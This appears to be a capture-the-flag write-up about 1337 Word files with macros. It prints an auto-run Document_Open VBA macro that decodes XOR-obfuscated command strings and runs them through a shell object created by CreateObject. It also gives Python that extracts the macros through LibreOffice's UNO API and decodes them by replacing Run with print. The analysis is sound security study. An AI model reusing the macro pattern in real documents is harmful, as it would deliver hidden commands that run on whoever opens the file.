What a nice challenge !
In this docs2 challenge, you get 1337 doc files. Once again, you're asked to enable macro.
So, let's look to some macroses in some random files, they all look like :
Private Sub Document_Open()
If ActiveDocument.Variables("zJTxqS").Value <> "wadoz" Then
GJmLhJxtSqFSSGx
ActiveDocument.Variables("zJTxqS").Value = "wadoz"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO FfwMwxA.bas
in file: pkg/lab_1_file.doc - OLE stream: u'Macros/VBA/FfwMwxA'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Function sUPofBHPpg(BJcRgNedRY As Variant, SSUsYPSWRa As Integer)
Dim PkQzVmeRsW, vNyQDXSsCa As String, hrBvomJTpj, bbSHicjpnn
vNyQDXSsCa = ActiveDocument.Variables("zJTxqS").Value()
PkQzVmeRsW = ""
hrBvomJTpj = 1
While hrBvomJTpj < UBound(BJcRgNedRY) + 2
bbSHicjpnn = hrBvomJTpj Mod Len(vNyQDXSsCa): If bbSHicjpnn = 0 Then bbSHicjpnn = Len(vNyQDXSsCa)
PkQzVmeRsW = PkQzVmeRsW + Chr(Asc(Mid(vNyQDXSsCa, bbSHicjpnn + SSUsYPSWRa, 1)) Xor CInt(BJcRgNedRY(hrBvomJTpj - 1)))
hrBvomJTpj = hrBvomJTpj + 1
Wend
sUPofBHPpg = PkQzVmeRsW
End Function
Public Function GJmLhJxtSqFSSGx()
mXHYDYcv = sUPofBHPpg(Array(27, 30, 5, 1, 8, 11, 13, 92, 10, 29, 25, 85, 34, 17, 32, 16, 12, 46, 6, 15, 22, _
34, 73, 124, 45, 1, 23, 35, 13, 21, 40, 0, 7, 17, 72, 42, 45, 16, 18), 561)
BEChyIOD = sUPofBHPpg(Array(33, 27, 59, 57, 23, 123, 57, 36, 40, 53, 21, 72, 32, 25, 38, 35, 25, 26, 119, 20, 41, _
118, 15, 23, 49, 16, 119, 114, 114, 122, 36, 15, 18, 9, 22, 66, 117, 120, 0, 14, 57, _
0, 56, 41, 22, 54, 77, 24, 109, 36, 112, 43, 51, 35, 43, 37, 15, 37, 27, 22, 117, _
1, 56, 27, 37, 119, 112, 36, 9, 26, 42, 117, 27, 8, 1, 28, 57, 11, 7, 6, 48, _
59, 15, 20, 121, 48, 76, 34, 25, 84, 32, 15, 14, 4, 10, 54, 12, 54, 2, 52, 14, _
4, 37, 45, 43, 53, 37, 16, 13, 33, 14, 119, 18, 27, 56, 0, 4, 14, 42, 4, 38, _
47, 22, 55, 36, 23, 98, 0, 54, 62, 5, 22, 23, 21, 36, 13, 48, 114, 40, 2, 36, _
5, 119, 50, 16, 22, 112, 10, 49, 117, 51, 45, 59, 23, 3, 48, 24, 41, 22, 18, 58, _
44, 56, 85, 46, 112, 11, 3, 28, 48, 21, 0, 46, 113, 119, 43, 40, 100, 16, 46, 39, _
36, 124, 47, 29, 37, 15, 15, 40, 0, 15, 47, 16, 39, 118, 87, 8, 43, 97, 55, 49, _
48, 27, 49, 19, 112, 34, 19, 63, 56, 47, 52, 12, 2, 13, 115, 44, 53, 55, 31, 8, _
15, 114, 41, 43, 42, 38, 3, 39, 16), 13)
vXdDrhSV = sUPofBHPpg(Array(42, 23, 113, 4, 15, 2, 2, 34, 10, 11, 13, 30, 14, 9, 56, 0, 32, 119, 36, 120, 45, _
15, 57, 44, 3, 121, 33, 57, 40, 94, 39, 15, 42, 20, 124, 114, 46, 51, 114, 50, 61, _
52, 33, 20, 19, 47, 39, 2, 57, 53, 34, 52, 44, 38, 23, 49, 11, 116, 120, 45, 116, _
87, 51, 115, 49, 46, 3, 45, 113, 53, 50, 33, 9, 47, 34, 45, 51, 16, 46, 112, 113, _
46, 11, 37, 4, 51, 35, 12, 59, 6, 25, 121, 21, 107, 48, 10, 36, 34, 21, 27, 50, _
13, 22, 122, 73, 37, 122, 6, 41, 2, 53, 53, 120, 23, 44, 50, 52, 124, 121, 15, 57, _
23, 60, 6, 14, 62, 7, 119, 0, 50, 120, 41, 112, 86, 116, 51, 50, 20, 28, 22, 113, _
51, 114, 115, 49, 51, 19, 116, 0, 49, 2, 48, 8, 44, 58, 19, 112, 16, 32, 119, 42, _
47, 17, 15, 3, 119, 50, 19, 52, 55, 124, 53, 118, 23, 49, 117, 9, 3, 39, 15, 37, _
15, 27, 123, 2, 119, 57, 8, 116, 12, 34, 15, 37, 23, 47, 55, 26, 1, 51, 116, 57, _
27, 11, 18, 15, 116, 56, 32, 28, 49, 120, 49, 45, 14, 19, 49, 60, 5, 30, 42, 18, _
127, 39, 32, 39, 120, 33, 0, 10, 76), 331)
KWYNkLDy = sUPofBHPpg(Array(117, 117, 24, 40, 31, 117, 9, 17, 6, 24, 29, 117, 9, 51, 27, 105, 49, 38, 12, 120, 26, _
15, 34, 7, 44, 20, 124, 20, 15, 4, 12, 29, 25, 118, 3, 43, 117, 50, 119, 125, 114, _
60, 23, 50, 90, 40, 9, 22, 36, 57, 7, 46, 98, 11, 53, 21, 22, 60, 8, 11, 10, _
22, 46, 18, 56, 46, 18, 46, 59, 32, 115, 26, 51, 30, 105, 27, 37, 11, 123, 96, 22, _
46, 41, 2, 49, 34, 50, 121), 243)
VgafpjZU = mXHYDYcv + BEChyIOD + vXdDrhSV + KWYNkLDy
VBodWvPv = sUPofBHPpg(Array(99, 61, 107, 29, 44, 3, 60, 127), 600)
Dim Obj As Object
Set Obj = CreateObject(sUPofBHPpg(Array(5, 101, 47, 34, 28, 69, 76, 66, 106, 39, 49, 11, 59), 0))
Obj.Run VgafpjZU, 1
End Function
What we have here :
- a variable with random name (
zJTxqS
here) which is used in the macro itself - a private function which does some xor stuff
- a public function which call the private "crypto" func many times and, at the end, does a "CreateObject" and run it
This is basically the same kind of macro than docs1, easy enough to understand. The only issue ... you have 1337 of them.
No way, I won't parse the 1337 ones by hand. What I decided to do is write some script to:
- extract the macro
- find variable name and extract the var
- store the macro with it's variable in some file.
for each document !
Uno is the name of LibreOffice API. Yes, there is an api, and yes, your LibreOffice can listen on some socket !
So first thing first , run libreoffice so that it listens on some socket:
$ soffice --headless --invisible --accept="socket,host=localhost,port=2002;urp;StarOffice.ServiceManager"
Then, start python code. The code to contact the API is not really ... straightforward to understand, and is taken from various websites. Here it is :
def main():
retVal = 0
doc = None
stdout = False
try:
stdout = True
ctxLocal = uno.getComponentContext()
smgrLocal = ctxLocal.ServiceManager
resolver = smgrLocal.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", ctxLocal )
url = "uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
ctx = resolver.resolve( url )
smgr = ctx.ServiceManager
msp = ctx.getValueByName("/singletons/com.sun.star.script.provider.theMasterScriptProviderFactory")
sp = msp.createScriptProvider("")
desktop = smgr.createInstanceWithContext("com.sun.star.frame.Desktop", ctx )
cwd = systemPathToFileUrl( getcwd() )
inProps = PropertyValue( "Hidden" , 0 , True, 0 ),
I'm not sure if these in/outProps are really needed, but it worked that way.
At this point, we have only opened a connection to our soffice instance. Then we open each document :
wrong = []
for index in range(1,1338):
path = "lab_%s_file.doc" % index
try:
fileUrl = absolutize( cwd, systemPathToFileUrl(path) )
doc = desktop.loadComponentFromURL( fileUrl , "_blank", 0, inProps )
Nothing too magic here, just create full file path, and ask my instance to open it.
So, now the document is opened, we need to:
- Get the macro name. For this we get all macroses and remove the default ones
# Find macro name
macro_name = list(doc.BasicLibraries.getByName('Project').getElementNames())
macro_name.remove('ThisDocument')
if 'Module1' in macro_name:
macro_name.remove('Module1')
#print(macro_name)
assert(len(macro_name) == 1)
macro_name = macro_name[0]
# print("Doc[%s] : Found macro name %s, fetch it" % (index, macro_name))
# Get macro
macro_code = doc.BasicLibraries.getByName('Project').getByName(macro_name)
assert("ActiveDocument.Variables" in macro_code)
- Get the variable with random name used in macro
# Get User defined variable
property_name = [ l for l in macro_code.split('\n') if "ActiveDocument.Variables" in l ][0].split('"')[1]
assert(property_name != '')
property_value = doc.getDocumentProperties().getUserDefinedProperties().getPropertyValue(property_name)
- replace the macro variable with its value in vba
macro_code = re.sub(re.compile("Active.*$", re.MULTILINE), '"%s"' % property_value, macro_code)
- and save the macro in some file:
with open('/tmp/%s.macro.vba' % index,'w') as output:
output.write(macro_code)
Nice. Now we have 1337 vba, but no idea how to exec it :/ I can't find a way to push and exec a macro in soffice through Uno.
So, once again, python to the rescue !
So, in docs1, I converted the vba macro to python ... by hand. No, I won't do it by hand for 1337 files, so let's script it. This is basically a find & replace function so that this dirty vba becomes some nice python :
def vba2py(payload):
""" Convert the VBA macro to py
"""
res = []
indent = 0
inArray = False
cur_func = None
first_func = None
first_func_count = 0
last_func = None
for l in payload.split('\n'):
if not l:
continue
# Line without interest
if 'Option' in l or 'Rem Attribute' in l:
continue
# Variable definition
if 'Dim ' in l:
l = l.replace('Dim ','')
for sub_l in l.split(','):
sub_l = re.sub(' As [^ ]+','',sub_l)
res.append('%s%s = None' % (' ' * indent, sub_l.lstrip()))
continue
if "CInt" in l:
l = re.sub('CInt\(([^\)]+)\(([^\)]+)\)',r'int(\1[\2]',l)
if 'Obj.Run' in l:
l = "print(%s)" % l.split(' ')[1].replace(',','')
res.append('%s%s' % (' ' * indent, l.lstrip()))
continue
# if Ubound, replace by len(x) - 1
if 'UBound' in l:
l = re.sub(r'UBound\(([^\)]+)\)',r'len(\1) - 1 ', l)
# Function definition
if 'Private Function' in l or 'Public Function' in l:
indent += 1
l = re.sub('(Private|Public) Function ', 'def ',l)
l = re.sub(' As [a-zA-Z]+','',l)
cur_func = l.split(' ')[1].split('(')[0]
if first_func is None:
first_func = cur_func
last_func = cur_func
res.append(l.lstrip() + ':')
continue
# End of function / Loop, just de-indent of 1 level
if 'End Function' in l:
cur_func = None
indent -= 1
continue
if 'Wend' == l:
indent -= 1
continue
if cur_func is not None and cur_func in l:
l = l.replace("%s = " % cur_func, "return ")
# Ensure we don't indent more than once
toIndent = False
# Simple replace
l = l.replace('Set Obj = ','')
l = l.replace('CreateObject','print')
l = l.replace('Mod','%')
l = l.replace(' Xor ',' ^ ')
l = l.replace('Chr','chr')
l = l.replace('Asc','ord')
l = l.replace('Len','len')
# Manage single line if
if ': If ' in l:
lleft,lright = l.split(' If ')
res.append('%s%s' % (' ' * indent, lleft.lstrip().replace(':','')))
res.append(re.sub(r' *([a-zA-Z]+).*Then ([^ ]+) = len\((.+)\)',r'%sif \1 == 0:\n%s\2 = len(\3)' % (' ' * indent, ' ' * (indent +1)),lright))
continue
# match multiline stuff
if l[-1] == '_':
l = l[:-1] # Remove leading '_'
if 'Mid(' in l:
l = re.sub(r'Mid\(([^,]+), *([^,]+), *([0-9]+)\)', r'\1[\2-1:\2+\3-1]', l)
if 'Array(' in l:
l = l.replace('Array(','[')
inArray = True
# Close array if in Array
if inArray and ')' in l:
inArray = False
l = l.replace(')',']',1) # Change first parenthesis to array close
# We need to get the 5th call to first_func to print it
if first_func is not None and first_func in l:
first_func_count += 1
if first_func_count == 5:
res.append("%s%s" % (' ' * indent, l.lstrip()))
position = l.split(' ')[0]
res.append((' ' * indent ) + 'print("POS:"+' + position + ')')
continue
# While loop
if 'While' in l:
l = l.replace('While','while')
l += ':'
toIndent = True
res.append("%s%s" % (' ' * indent, l.lstrip()))
if toIndent:
toIndent = False
indent += 1
res.append('%s()' % last_func)
return('\n'.join(res))
Once we have this, we can also save our 1337 python files :
with open('/tmp/%s.macro.py' % index,'w') as output:
output.write(vba2py(macro_code))
So, then, we just run our 1337 macro files, and we see that most of the time we get a "POSITION" string printed, and sometimes a string like 'ONE', 'TWO' up to 'SEVENTEEN'. We just ignore the results with POSITION, and sort the others :
interesting = {}
for i in range(1,1338):
out = str(subprocess.check_output("python3 /tmp/%s.macro.py" % i, shell=True))
if 'POSITION' in out:
continue
else:
pos = out.split('\\n')[0].split(':')[-1]
b64data = out.split('\n')[-1].split(' ')[-1].replace("'",'').replace('\\n','')
data = base64.b64decode(b64data)
interesting[pos] = data
print("## Step 3 : Print FLAG")
for p in ['ONE','TWO','THREE','FOUR','FIVE','SIX','SEVEN','EIGHT','NINE','TEN','ELEVEN','TWELVE','THIRTEEN','FOURTEEN','FIFTEEN','SIXTEEN','SEVENTEEN']:
print('\n'.join(interesting[p].decode("utf-8").split('\n')[2:8]))
And here you get the flag, in ASCII art :)
For thoses who are interested, I put the full python script ;)